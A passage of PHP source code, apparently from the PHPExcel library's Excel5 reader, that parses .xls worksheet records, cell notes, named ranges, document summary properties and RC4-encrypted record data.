individual sheets foreach ($this->sheets as $sheet) { if ($sheet['sheetType'] != 0x00) { // 0x00: Worksheet, 0x02: Chart, 0x06: Visual Basic module continue; } // check if sheet should be skipped if (isset($this->loadSheetsOnly) && !in_array($sheet['name'], $this->loadSheetsOnly)) { continue; } // add sheet to PHPExcel object $this->phpSheet = $this->phpExcel->createSheet(); // Use false for $updateFormulaCellReferences to prevent adjustment of worksheet references in formula // cells... during the load, all formulae should be correct, and we're simply bringing the worksheet // name in line with the formula, not the reverse $this->phpSheet->setTitle($sheet['name'], false); $this->phpSheet->setSheetState($sheet['sheetState']); $this->pos = $sheet['offset']; // Initialize isFitToPages. May change after reading SHEETPR record. $this->isFitToPages = false; // Initialize drawingData $this->drawingData = ''; // Initialize objs $this->objs = array(); // Initialize shared formula parts $this->sharedFormulaParts = array(); // Initialize shared formulas $this->sharedFormulas = array(); // Initialize text objs $this->textObjects = array(); // Initialize cell annotations $this->cellNotes = array(); $this->textObjRef = -1; while ($this->pos <= $this->dataSize - 4) { $code = self::getInt2d($this->data, $this->pos); switch ($code) { case self::XLS_TYPE_BOF: $this->readBof(); break; case self::XLS_TYPE_PRINTGRIDLINES: $this->readPrintGridlines(); break; case self::XLS_TYPE_DEFAULTROWHEIGHT: $this->readDefaultRowHeight(); break; case self::XLS_TYPE_SHEETPR: $this->readSheetPr(); break; case self::XLS_TYPE_HORIZONTALPAGEBREAKS: $this->readHorizontalPageBreaks(); break; case self::XLS_TYPE_VERTICALPAGEBREAKS: $this->readVerticalPageBreaks(); break; case self::XLS_TYPE_HEADER: $this->readHeader(); break; case self::XLS_TYPE_FOOTER: $this->readFooter(); break; case self::XLS_TYPE_HCENTER: $this->readHcenter(); break; case self::XLS_TYPE_VCENTER: $this->readVcenter(); break; case self::XLS_TYPE_LEFTMARGIN: $this->readLeftMargin(); break; case self::XLS_TYPE_RIGHTMARGIN: $this->readRightMargin(); break; case self::XLS_TYPE_TOPMARGIN: $this->readTopMargin(); break; case self::XLS_TYPE_BOTTOMMARGIN: $this->readBottomMargin(); break; case self::XLS_TYPE_PAGESETUP: $this->readPageSetup(); break; case self::XLS_TYPE_PROTECT: $this->readProtect(); break; case self::XLS_TYPE_SCENPROTECT: $this->readScenProtect(); break; case self::XLS_TYPE_OBJECTPROTECT: $this->readObjectProtect(); break; case self::XLS_TYPE_PASSWORD: $this->readPassword(); break; case self::XLS_TYPE_DEFCOLWIDTH: $this->readDefColWidth(); break; case self::XLS_TYPE_COLINFO: $this->readColInfo(); break; case self::XLS_TYPE_DIMENSION: $this->readDefault(); break; case self::XLS_TYPE_ROW: $this->readRow(); break; case self::XLS_TYPE_DBCELL: $this->readDefault(); break; case self::XLS_TYPE_RK: $this->readRk(); break; case self::XLS_TYPE_LABELSST: $this->readLabelSst(); break; case self::XLS_TYPE_MULRK: $this->readMulRk(); break; case self::XLS_TYPE_NUMBER: $this->readNumber(); break; case self::XLS_TYPE_FORMULA: $this->readFormula(); break; case self::XLS_TYPE_SHAREDFMLA: $this->readSharedFmla(); break; case self::XLS_TYPE_BOOLERR: $this->readBoolErr(); break; case self::XLS_TYPE_MULBLANK: $this->readMulBlank(); break; case self::XLS_TYPE_LABEL: $this->readLabel(); break; case self::XLS_TYPE_BLANK: $this->readBlank(); break; case self::XLS_TYPE_MSODRAWING: $this->readMsoDrawing(); break; case self::XLS_TYPE_OBJ: $this->readObj(); break; case self::XLS_TYPE_WINDOW2: $this->readWindow2(); break; case self::XLS_TYPE_PAGELAYOUTVIEW: $this->readPageLayoutView(); break; case self::XLS_TYPE_SCL: $this->readScl(); break; case self::XLS_TYPE_PANE: $this->readPane(); break; case self::XLS_TYPE_SELECTION: $this->readSelection(); break; case self::XLS_TYPE_MERGEDCELLS: $this->readMergedCells(); break; case self::XLS_TYPE_HYPERLINK: $this->readHyperLink(); break; case self::XLS_TYPE_DATAVALIDATIONS: $this->readDataValidations(); break; case self::XLS_TYPE_DATAVALIDATION: $this->readDataValidation(); break; case self::XLS_TYPE_SHEETLAYOUT: $this->readSheetLayout(); break; case self::XLS_TYPE_SHEETPROTECTION: $this->readSheetProtection(); break; case self::XLS_TYPE_RANGEPROTECTION: $this->readRangeProtection(); break; case self::XLS_TYPE_NOTE: $this->readNote(); break; //case self::XLS_TYPE_IMDATA: $this->readImData(); break; case self::XLS_TYPE_TXO: $this->readTextObject(); break; case self::XLS_TYPE_CONTINUE: $this->readContinue(); break; case self::XLS_TYPE_EOF: $this->readDefault(); break 2; default: $this->readDefault(); break; } } // treat MSODRAWING records, sheet-level Escher if (!$this->readDataOnly && $this->drawingData) { $escherWorksheet = new PHPExcel_Shared_Escher(); $reader = new PHPExcel_Reader_Excel5_Escher($escherWorksheet); $escherWorksheet = $reader->load($this->drawingData); // debug Escher stream //$debug = new Debug_Escher(new PHPExcel_Shared_Escher()); //$debug->load($this->drawingData); // get all spContainers in one long array, so they can be mapped to OBJ records $allSpContainers = $escherWorksheet->getDgContainer()->getSpgrContainer()->getAllSpContainers(); } // treat OBJ records foreach ($this->objs as $n => $obj) { // echo '<hr /><b>Object</b> reference is ', $n,'<br />'; // var_dump($obj); // echo '<br />'; // the first shape container never has a corresponding OBJ record, hence $n + 1 if (isset($allSpContainers[$n + 1]) && is_object($allSpContainers[$n + 1])) { $spContainer = $allSpContainers[$n + 1]; // we skip all spContainers that are a part of a group shape since we cannot yet handle those if ($spContainer->getNestingLevel() > 1) { continue; } // calculate the width and height of the shape list($startColumn, $startRow) = PHPExcel_Cell::coordinateFromString($spContainer->getStartCoordinates()); list($endColumn, $endRow) = PHPExcel_Cell::coordinateFromString($spContainer->getEndCoordinates()); $startOffsetX = $spContainer->getStartOffsetX(); $startOffsetY = $spContainer->getStartOffsetY(); $endOffsetX = $spContainer->getEndOffsetX(); $endOffsetY = $spContainer->getEndOffsetY(); $width = PHPExcel_Shared_Excel5::getDistanceX($this->phpSheet, $startColumn, $startOffsetX, $endColumn, $endOffsetX); $height = PHPExcel_Shared_Excel5::getDistanceY($this->phpSheet, $startRow, $startOffsetY, $endRow, $endOffsetY); // calculate offsetX and offsetY of the shape $offsetX = $startOffsetX * PHPExcel_Shared_Excel5::sizeCol($this->phpSheet, $startColumn) / 1024; $offsetY = $startOffsetY * PHPExcel_Shared_Excel5::sizeRow($this->phpSheet, $startRow) / 256; switch ($obj['otObjType']) { case 0x19: // Note // echo 'Cell Annotation Object<br />'; // echo 'Object ID is ', $obj['idObjID'],'<br />'; if (isset($this->cellNotes[$obj['idObjID']])) { $cellNote = $this->cellNotes[$obj['idObjID']]; if (isset($this->textObjects[$obj['idObjID']])) { $textObject = $this->textObjects[$obj['idObjID']]; $this->cellNotes[$obj['idObjID']]['objTextData'] = $textObject; } } break; case 0x08: // echo 'Picture Object<br />'; // picture // get index to BSE entry (1-based) $BSEindex = $spContainer->getOPT(0x0104); $BSECollection = $escherWorkbook->getDggContainer()->getBstoreContainer()->getBSECollection(); $BSE = $BSECollection[$BSEindex - 1]; $blipType = $BSE->getBlipType(); // need check because some blip types are not supported by Escher reader such as EMF if ($blip = $BSE->getBlip()) { $ih = imagecreatefromstring($blip->getData()); $drawing = new PHPExcel_Worksheet_MemoryDrawing(); $drawing->setImageResource($ih); // width, height, offsetX, offsetY $drawing->setResizeProportional(false); $drawing->setWidth($width); $drawing->setHeight($height); $drawing->setOffsetX($offsetX); $drawing->setOffsetY($offsetY); switch ($blipType) { case PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE::BLIPTYPE_JPEG: $drawing->setRenderingFunction(PHPExcel_Worksheet_MemoryDrawing::RENDERING_JPEG); $drawing->setMimeType(PHPExcel_Worksheet_MemoryDrawing::MIMETYPE_JPEG); break; case PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE::BLIPTYPE_PNG: $drawing->setRenderingFunction(PHPExcel_Worksheet_MemoryDrawing::RENDERING_PNG); $drawing->setMimeType(PHPExcel_Worksheet_MemoryDrawing::MIMETYPE_PNG); break; } $drawing->setWorksheet($this->phpSheet); $drawing->setCoordinates($spContainer->getStartCoordinates()); } break; default: // other object type break; } } } // treat SHAREDFMLA records if ($this->version == self::XLS_BIFF8) { foreach ($this->sharedFormulaParts as $cell => $baseCell) { list($column, $row) = PHPExcel_Cell::coordinateFromString($cell); if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($column, $row, $this->phpSheet->getTitle())) { $formula = $this->getFormulaFromStructure($this->sharedFormulas[$baseCell], $cell); $this->phpSheet->getCell($cell)->setValueExplicit('=' . $formula, PHPExcel_Cell_DataType::TYPE_FORMULA); } } } if (!empty($this->cellNotes)) { foreach ($this->cellNotes as $note => $noteDetails) { if (!isset($noteDetails['objTextData'])) { if (isset($this->textObjects[$note])) { $textObject = $this->textObjects[$note]; $noteDetails['objTextData'] = $textObject; } else { $noteDetails['objTextData']['text'] = ''; } } // echo '<b>Cell annotation ', $note,'</b><br />'; // var_dump($noteDetails); // echo '<br />'; $cellAddress = str_replace('$', '', $noteDetails['cellRef']); $this->phpSheet->getComment($cellAddress)->setAuthor($noteDetails['author'])->setText($this->parseRichText($noteDetails['objTextData']['text'])); } } } // add the named ranges (defined names) foreach ($this->definedname as $definedName) { if ($definedName['isBuiltInName']) { switch ($definedName['name']) { case pack('C', 0x06): // print area // in general, formula looks like this: Foo!$C$7:$J$66,Bar!$A$1:$IV$2 $ranges = explode(',', $definedName['formula']); // FIXME: what if sheetname contains comma? $extractedRanges = array(); foreach ($ranges as $range) { // $range should look like one of these // Foo!$C$7:$J$66 // Bar!$A$1:$IV$2 $explodes = explode('!', $range); // FIXME: what if sheetname contains exclamation mark? $sheetName = trim($explodes[0], "'"); if (count($explodes) == 2) { if (strpos($explodes[1], ':') === false) { $explodes[1] = $explodes[1] . ':' . $explodes[1]; } $extractedRanges[] = str_replace('$', '', $explodes[1]); // C7:J66 } } if ($docSheet = $this->phpExcel->getSheetByName($sheetName)) { $docSheet->getPageSetup()->setPrintArea(implode(',', $extractedRanges)); // C7:J66,A1:IV2 } break; case pack('C', 0x07): // print titles (repeating rows) // Assuming BIFF8, there are 3 cases // 1. repeating rows // formula looks like this: Sheet!$A$1:$IV$2 // rows 1-2 repeat // 2. repeating columns // formula looks like this: Sheet!$A$1:$B$65536 // columns A-B repeat // 3. both repeating rows and repeating columns // formula looks like this: Sheet!$A$1:$B$65536,Sheet!$A$1:$IV$2 $ranges = explode(',', $definedName['formula']); // FIXME: what if sheetname contains comma? foreach ($ranges as $range) { // $range should look like this one of these // Sheet!$A$1:$B$65536 // Sheet!$A$1:$IV$2 $explodes = explode('!', $range); if (count($explodes) == 2) { if ($docSheet = $this->phpExcel->getSheetByName($explodes[0])) { $extractedRange = $explodes[1]; $extractedRange = str_replace('$', '', $extractedRange); $coordinateStrings = explode(':', $extractedRange); if (count($coordinateStrings) == 2) { list($firstColumn, $firstRow) = PHPExcel_Cell::coordinateFromString($coordinateStrings[0]); list($lastColumn, $lastRow) = PHPExcel_Cell::coordinateFromString($coordinateStrings[1]); if ($firstColumn == 'A' and $lastColumn == 'IV') { // then we have repeating rows $docSheet->getPageSetup()->setRowsToRepeatAtTop(array($firstRow, $lastRow)); } elseif ($firstRow == 1 and $lastRow == 65536) { // then we have repeating columns $docSheet->getPageSetup()->setColumnsToRepeatAtLeft(array($firstColumn, $lastColumn)); } } } } } break; } } else { // Extract range $explodes = explode('!', $definedName['formula']); if (count($explodes) == 2) { if (($docSheet = $this->phpExcel->getSheetByName($explodes[0])) || ($docSheet = $this->phpExcel->getSheetByName(trim($explodes[0], "'")))) { $extractedRange = $explodes[1]; $extractedRange = str_replace('$', '', $extractedRange); $localOnly = ($definedName['scope'] == 0) ? false : true; $scope = ($definedName['scope'] == 0) ? null : $this->phpExcel->getSheetByName($this->sheets[$definedName['scope'] - 1]['name']); $this->phpExcel->addNamedRange(new PHPExcel_NamedRange((string)$definedName['name'], $docSheet, $extractedRange, $localOnly, $scope)); } } else { // Named Value // TODO Provide support for named values } } } $this->data = null; return $this->phpExcel; } /** * Read record data from stream, decrypting as required * * @param string $data Data stream to read from * @param int $pos Position to start reading from * @param int $length Record data length * * @return string Record data */ private function readRecordData($data, $pos, $len) { $data = substr($data, $pos, $len); // File not encrypted, or record before encryption start point if ($this->encryption == self::MS_BIFF_CRYPTO_NONE || $pos < $this->encryptionStartPos) { return $data; } $recordData = ''; if ($this->encryption == self::MS_BIFF_CRYPTO_RC4) { $oldBlock = floor($this->rc4Pos / self::REKEY_BLOCK); $block = floor($pos / self::REKEY_BLOCK); $endBlock = floor(($pos + $len) / self::REKEY_BLOCK); // Spin an RC4 decryptor to the right spot. If we have a decryptor sitting // at a point earlier in the current block, re-use it as we can save some time. if ($block != $oldBlock || $pos < $this->rc4Pos || !$this->rc4Key) { $this->rc4Key = $this->makeKey($block, $this->md5Ctxt); $step = $pos % self::REKEY_BLOCK; } else { $step = $pos - $this->rc4Pos; } $this->rc4Key->RC4(str_repeat("\0", $step)); // Decrypt record data (re-keying at the end of every block) while ($block != $endBlock) { $step = self::REKEY_BLOCK - ($pos % self::REKEY_BLOCK); $recordData .= $this->rc4Key->RC4(substr($data, 0, $step)); $data = substr($data, $step); $pos += $step; $len -= $step; $block++; $this->rc4Key = $this->makeKey($block, $this->md5Ctxt); } $recordData .= $this->rc4Key->RC4(substr($data, 0, $len)); // Keep track of the position of this decryptor. // We'll try and re-use it later if we can to speed things up $this->rc4Pos = $pos + $len; } elseif ($this->encryption == self::MS_BIFF_CRYPTO_XOR) { throw new PHPExcel_Reader_Exception('XOr encryption not supported'); } return $recordData; } /** * Use OLE reader to extract the relevant data streams from the OLE file * * @param string $pFilename */ private function loadOLE($pFilename) { // OLE reader $ole = new PHPExcel_Shared_OLERead(); // get excel data, $res = $ole->read($pFilename); // Get workbook data: workbook stream + sheet streams $this->data = $ole->getStream($ole->wrkbook); // Get summary information data $this->summaryInformation = $ole->getStream($ole->summaryInformation); // Get additional document summary information data $this->documentSummaryInformation = $ole->getStream($ole->documentSummaryInformation); // Get user-defined property data // $this->userDefinedProperties = $ole->getUserDefinedProperties(); } /** * Read summary information */ private function readSummaryInformation() { if (!isset($this->summaryInformation)) { return; } // offset: 0; size: 2; must be 0xFE 0xFF (UTF-16 LE byte order mark) // offset: 2; size: 2; // offset: 4; size: 2; OS version // offset: 6; size: 2; OS indicator // offset: 8; size: 16 // offset: 24; size: 4; section count $secCount = self::getInt4d($this->summaryInformation, 24); // offset: 28; size: 16; first section's class id: e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 // offset: 44; size: 4 $secOffset = self::getInt4d($this->summaryInformation, 44); // section header // offset: $secOffset; size: 4; section length $secLength = self::getInt4d($this->summaryInformation, $secOffset); // offset: $secOffset+4; size: 4; property count $countProperties = self::getInt4d($this->summaryInformation, $secOffset+4); // initialize code page (used to resolve string values) $codePage = 'CP1252'; // offset: ($secOffset+8); size: var // loop through property decarations and properties for ($i = 0; $i < $countProperties; ++$i) { // offset: ($secOffset+8) + (8 * $i); size: 4; property ID $id = self::getInt4d($this->summaryInformation, ($secOffset+8) + (8 * $i)); // Use value of property id as appropriate // offset: ($secOffset+12) + (8 * $i); size: 4; offset from beginning of section (48) $offset = self::getInt4d($this->summaryInformation, ($secOffset+12) + (8 * $i)); $type = self::getInt4d($this->summaryInformation, $secOffset + $offset); // initialize property value $value = null; // extract property value based on property type switch ($type) { case 0x02: // 2 byte signed integer $value = self::getInt2d($this->summaryInformation, $secOffset + 4 + $offset); break; case 0x03: // 4 byte signed integer $value = self::getInt4d($this->summaryInformation, $secOffset + 4 + $offset); break; case 0x13: // 4 byte unsigned integer // not needed yet, fix later if necessary break; case 0x1E: // null-terminated string prepended by dword string length $byteLength = self::getInt4d($this->summaryInformation, $secOffset + 4 + $offset); $value = substr($this->summaryInformation, $secOffset + 8 + $offset, $byteLength); $value = PHPExcel_Shared_String::ConvertEncoding($value, 'UTF-8', $codePage); $value = rtrim($value); break; case 0x40: // Filetime (64-bit value representing the number of 100-nanosecond intervals since January 1, 1601) // PHP-time $value = PHPExcel_Shared_OLE::OLE2LocalDate(substr($this->summaryInformation, $secOffset + 4 + $offset, 8)); break; case 0x47: // Clipboard format // not needed yet, fix later if necessary break; } switch ($id) { case 0x01: // Code Page $codePage = PHPExcel_Shared_CodePage::NumberToName($value); break; case 0x02: // Title $this->phpExcel->getProperties()->setTitle($value); break; case 0x03: // Subject $this->phpExcel->getProperties()->setSubject($value); break; case 0x04: // Author (Creator) $this->phpExcel->getProperties()->setCreator($value); break; case 0x05: // Keywords $this->phpExcel->getProperties()->setKeywords($value); break; case 0x06: // Comments (Description) $this->phpExcel->getProperties()->setDescription($value); break; case 0x07: // Template // Not supported by PHPExcel break; case 0x08: // Last Saved By (LastModifiedBy) $this->phpExcel->getProperties()->setLastModifiedBy($value); break; case 0x09: // Revision // Not supported by PHPExcel break; case 0x0A: // Total Editing Time // Not supported by PHPExcel break; case 0x0B: // Last Printed // Not supported by PHPExcel break; case 0x0C: // Created Date/Time $this->phpExcel->getProperties()->setCreated($value); break; case 0x0D: // Modified Date/Time $this->phpExcel->getProperties()->setModified($value); break; case 0x0E: // Number of Pages // Not supported by PHPExcel break; case 0x0F: // Number of Words // Not supported by PHPExcel break; case 0x10: // Number of Characters // Not supported by PHPExcel break; case 0x11: // Thumbnail // Not supported by PHPExcel break; case 0x12: // Name of creating application // Not supported by PHPExcel break; case 0x13: // Security // Not supported by PHPExcel break; } } } /** * Read additional document summary information */ private function readDocumentSummaryInformation() { if (!isset($this->documentSummaryInformation)) { return; } // offset: 0; size: 2; must be 0xFE 0xFF (UTF-16 LE byte order mark) // offset: 2; size: 2; // offset: 4; size: 2; OS version // offset: 6; size: 2; OS indicator // offset: 8; size: 16 // offset: 24; size: 4; section count $secCount = self::getInt4d($this->documentSummaryInformation, 24); // echo '$secCount = ', $secCount,'<br />'; // offset: 28; size: 16; first section's class id: 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae // offset: 44; size: 4; first section offset $secOffset = self::getInt4d($this->documentSummaryInformation, 44); // echo '$secOffset = ', $secOffset,'<br />'; // section header // offset: $secOffset; size: 4; section length $secLength = self::getInt4d($this->documentSummaryInformation, $secOffset); // echo '$secLength = ', $secLength,'<br />'; // offset: $secOffset+4; size: 4; property count $countProperties = self::getInt4d($this->documentSummaryInformation, $secOffset+4); // echo '$countProperties = ', $countProperties,'<br />'; // initialize code page (used to resolve string values) $codePage = 'CP1252'; // offset: ($secOffset+8); size: var // loop through property decarations and properties for ($i = 0; $i < $countProperties; ++$i) { // echo 'Property ', $i,'<br />'; // offset: ($secOffset+8) + (8 * $i); size: 4; property ID $id = self::getInt4d($this->documentSummaryInformation, ($secOffset+8) + (8 * $i)); // echo 'ID is ', $id,'<br />'; // Use value of property id as appropriate // offset: 60 + 8 * $i; size: 4; offset from beginning of section (48) $offset = self::getInt4d($this->documentSummaryInformation, ($secOffset+12) + (8 * $i)); $type = self::getInt4d($this->documentSummaryInformation, $secOffset + $offset); // echo 'Type is ', $type,', '; // initialize property value $value = null; // extract property value based on property type switch ($type) { case 0x02: // 2 byte signed integer $value = self::getInt2d($this->documentSummaryInformation, $secOffset + 4 + $offset); break; case 0x03: // 4 byte signed integer $value = self::getInt4d($this->documentSummaryInformation, $secOffset + 4 + $offset); break; case 0x0B: // Boolean $value = self::getInt2d($this->documentSummaryInformation, $secOffset + 4 + $offset); $value = ($value == 0 ? false : true); break; case 0x13: // 4 byte unsigned integer // not needed yet, fix later if necessary break; case 0x1E: // null-terminated string prepended by dword string length $byteLength = self::getInt4d($this->documentSummaryInformation, $secOffset + 4 + $offset); $value = substr($this->documentSummaryInformation, $secOffset + 8 + $offset, $byteLength); $value = PHPExcel_Shared_String::ConvertEncoding($value, 'UTF-8', $codePage); $value = rtrim($value); break; case 0x40: // Filetime (64-bit value representing the number of 100-nanosecond intervals since January 1, 1601) // PHP-Time $value = PHPExcel_Shared_OLE::OLE2LocalDate(substr($this->documentSummaryInformation, $secOffset + 4 + $offset, 8)); break; case 0x47: // Clipboard format // not needed yet, fix later if necessary break; } switch ($id) { case 0x01: // Code Page $codePage = PHPExcel_Shared_CodePage::NumberToName($value); break; case 0x02: // Category $this->phpExcel->getProperties()->setCategory($value); break; case 0x03: // Presentation Target // Not supported by PHPExcel break; case 0x04: // Bytes // Not supported by PHPExcel break; case 0x05: // Lines // Not supported by PHPExcel break; case 0x06: // Paragraphs // Not supported by PHPExcel break; case 0x07: // Slides // Not supported by PHPExcel break; case 0x08: // Notes // Not supported by PHPExcel break; case 0x09: // Hidden Slides // Not supported by PHPExcel break; case 0x0A: // MM Clips // Not supported by PHPExcel break; case 0x0B: // Scale Crop // Not supported by PHPExcel break; case 0x0C: // Heading Pairs // Not supported by PHPExcel break; case 0x0D: // Titles of Parts // Not supported by PHPExcel break; case 0x0E: // Manager $this->phpExcel->getProperties()->setManager($value); break; case 0x0F: // Company $this->phpExcel->getProperties()->setCompany($value); break; case 0x10: // Links up-to-date // Not supported by PHPExcel break; } } } /** * Reads a general type of BIFF record. Does nothing except for moving stream pointer forward to next record. */ private function readDefault() { $length = self::getInt2d($this->data, $this->pos + 2); // $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; } /** * The NOTE record specifies a comment associated with a particular cell. In Excel 95 (BIFF7) and earlier versions, * this record stores a note (cell note). This feature was significantly enhanced in Excel 97. */ private function readNote() { // echo '<b>Read Cell Annotation</b><br />'; $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->readDataOnly) { return; } $cellAddress = $this->readBIFF8CellAddress(substr($recordData, 0, 4)); if ($this->version == self::XLS_BIFF8) { $noteObjID = self::getInt2d($recordData, 6); $noteAuthor = self::readUnicodeStringLong(substr($recordData, 8)); $noteAuthor = $noteAuthor['value']; // echo 'Note Address=', $cellAddress,'<br />'; // echo 'Note Object ID=', $noteObjID,'<br />'; // echo 'Note Author=', $noteAuthor,'<hr />'; // $this->cellNotes[$noteObjID] = array( 'cellRef' => $cellAddress, 'objectID' => $noteObjID, 'author' => $noteAuthor ); } else { $extension = false; if ($cellAddress == '$B$65536') { // If the address row is -1 and the column is 0, (which translates as $B$65536) then this is a continuation // note from the previous cell annotation. We're not yet handling this, so annotations longer than the // max 2048 bytes will probably throw a wobbly. $row = self::getInt2d($recordData, 0); $extension = true; $cellAddress = array_pop(array_keys($this->phpSheet->getComments())); } // echo 'Note Address=', $cellAddress,'<br />'; $cellAddress = str_replace('$', '', $cellAddress); $noteLength = self::getInt2d($recordData, 4); $noteText = trim(substr($recordData, 6)); // echo 'Note Length=', $noteLength,'<br />'; // echo 'Note Text=', $noteText,'<br />'; if ($extension) { // Concatenate this extension with the currently set comment for the cell $comment = $this->phpSheet->getComment($cellAddress); $commentText = $comment->getText()->getPlainText(); $comment->setText($this->parseRichText($commentText.$noteText)); } else { // Set comment for the cell $this->phpSheet->getComment($cellAddress)->setText($this->parseRichText($noteText)); // ->setAuthor($author) } } } /** * The TEXT Object record contains the text associated with a cell annotation. */ private function readTextObject() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->readDataOnly) { return; } // recordData consists of an array of subrecords looking like this: // grbit: 2 bytes; Option Flags // rot: 2 bytes; rotation // cchText: 2 bytes; length of the text (in the first continue record) // cbRuns: 2 bytes; length of the formatting (in the second continue record) // followed by the continuation records containing the actual text and formatting $grbitOpts = self::getInt2d($recordData, 0); $rot = self::getInt2d($recordData, 2); $cchText = self::getInt2d($recordData, 10); $cbRuns = self::getInt2d($recordData, 12); $text = $this->getSplicedRecordData(); $this->textObjects[$this->textObjRef] = array( 'text' => substr($text["recordData"], $text["spliceOffsets"][0]+1, $cchText), 'format' => substr($text["recordData"], $text["spliceOffsets"][1], $cbRuns), 'alignment' => $grbitOpts, 'rotation' => $rot ); // echo '<b>_readTextObject()</b><br />'; // var_dump($this->textObjects[$this->textObjRef]); // echo '<br />'; } /** * Read BOF */ private function readBof() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = substr($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 2; size: 2; type of the following data $substreamType = self::getInt2d($recordData, 2); switch ($substreamType) { case self::XLS_WorkbookGlobals: $version = self::getInt2d($recordData, 0); if (($version != self::XLS_BIFF8) && ($version != self::XLS_BIFF7)) { throw new PHPExcel_Reader_Exception('Cannot read this Excel file. Version is too old.'); } $this->version = $version; break; case self::XLS_Worksheet: // do not use this version information for anything // it is unreliable (OpenOffice doc, 5.8), use only version information from the global stream break; default: // substream, e.g. chart // just skip the entire substream do { $code = self::getInt2d($this->data, $this->pos); $this->readDefault(); } while ($code != self::XLS_TYPE_EOF && $this->pos < $this->dataSize); break; } } /** * FILEPASS * * This record is part of the File Protection Block. It * contains information about the read/write password of the * file. All record contents following this record will be * encrypted. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" * * The decryption functions and objects used from here on in * are based on the source of Spreadsheet-ParseExcel: * http://search.cpan.org/~jmcnamara/Spreadsheet-ParseExcel/ */ private function readFilepass() { $length = self::getInt2d($this->data, $this->pos + 2); if ($length != 54) { throw new PHPExcel_Reader_Exception('Unexpected file pass record length'); } $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->verifyPassword('VelvetSweatshop', substr($recordData, 6, 16), substr($recordData, 22, 16), substr($recordData, 38, 16), $this->md5Ctxt)) { throw new PHPExcel_Reader_Exception('Decryption password incorrect'); } $this->encryption = self::MS_BIFF_CRYPTO_RC4; // Decryption required from the record after next onwards $this->encryptionStartPos = $this->pos + self::getInt2d($this->data, $this->pos + 2); } /** * Make an RC4 decryptor for the given block * * @var int $block Block for which to create decrypto * @var string $valContext MD5 context state * * @return PHPExcel_Reader_Excel5_RC4 */ private function makeKey($block, $valContext) { $pwarray = str_repeat("\0", 64); for ($i = 0; $i < 5; $i++) { $pwarray[$i] = $valContext[$i]; } $pwarray[5] = chr($block & 0xff); $pwarray[6] = chr(($block >> 8) & 0xff); $pwarray[7] = chr(($block >> 16) & 0xff); $pwarray[8] = chr(($block >> 24) & 0xff); $pwarray[9] = "\x80"; $pwarray[56] = "\x48"; $md5 = new PHPExcel_Reader_Excel5_MD5(); $md5->add($pwarray); $s = $md5->getContext(); return new PHPExcel_Reader_Excel5_RC4($s); } /** * Verify RC4 file password * * @var string $password Password to check * @var string $docid Document id * @var string $salt_data Salt data * @var string $hashedsalt_data Hashed salt data * @var string &$valContext Set to the MD5 context of the value * * @return bool Success */ private function verifyPassword($password, $docid, $salt_data, $hashedsalt_data, &$valContext) { $pwarray = str_repeat("\0", 64); for ($i = 0; $i < strlen($password); $i++) { $o = ord(substr($password, $i, 1)); $pwarray[2 * $i] = chr($o & 0xff); $pwarray[2 * $i + 1] = chr(($o >> 8) & 0xff); } $pwarray[2 * $i] = chr(0x80); $pwarray[56] = chr(($i << 4) & 0xff); $md5 = new PHPExcel_Reader_Excel5_MD5(); $md5->add($pwarray); $mdContext1 = $md5->getContext(); $offset = 0; $keyoffset = 0; $tocopy = 5; $md5->reset(); while ($offset != 16) { if ((64 - $offset) < 5) { $tocopy = 64 - $offset; } for ($i = 0; $i <= $tocopy; $i++) { $pwarray[$offset + $i] = $mdContext1[$keyoffset + $i]; } $offset += $tocopy; if ($offset == 64) { $md5->add($pwarray); $keyoffset = $tocopy; $tocopy = 5 - $tocopy; $offset = 0; continue; } $keyoffset = 0; $tocopy = 5; for ($i = 0; $i < 16; $i++) { $pwarray[$offset + $i] = $docid[$i]; } $offset += 16; } $pwarray[16] = "\x80"; for ($i = 0; $i < 47; $i++) { $pwarray[17 + $i] = "\0"; } $pwarray[56] = "\x80"; $pwarray[57] = "\x0a"; $md5->add($pwarray); $valContext = $md5->getContext(); $key = $this->makeKey(0, $valContext); $salt = $key->RC4($salt_data); $hashedsalt = $key->RC4($hashedsalt_data); $salt .= "\x80" . str_repeat("\0", 47); $salt[56] = "\x80"; $md5->reset(); $md5->add($salt); $mdContext2 = $md5->getContext(); return $mdContext2 == $hashedsalt; } /** * CODEPAGE * * This record stores the text encoding used to write byte * strings, stored as MS Windows code page identifier. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readCodepage() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; code page identifier $codepage = self::getInt2d($recordData, 0); $this->codepage = PHPExcel_Shared_CodePage::NumberToName($codepage); } /** * DATEMODE * * This record specifies the base date for displaying date * values. All dates are stored as count of days past this * base date. In BIFF2-BIFF4 this record is part of the * Calculation Settings Block. In BIFF5-BIFF8 it is * stored in the Workbook Globals Substream. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readDateMode() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; 0 = base 1900, 1 = base 1904 PHPExcel_Shared_Date::setExcelCalendar(PHPExcel_Shared_Date::CALENDAR_WINDOWS_1900); if (ord($recordData{0}) == 1) { PHPExcel_Shared_Date::setExcelCalendar(PHPExcel_Shared_Date::CALENDAR_MAC_1904); } } /** * Read a FONT record */ private function readFont() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if 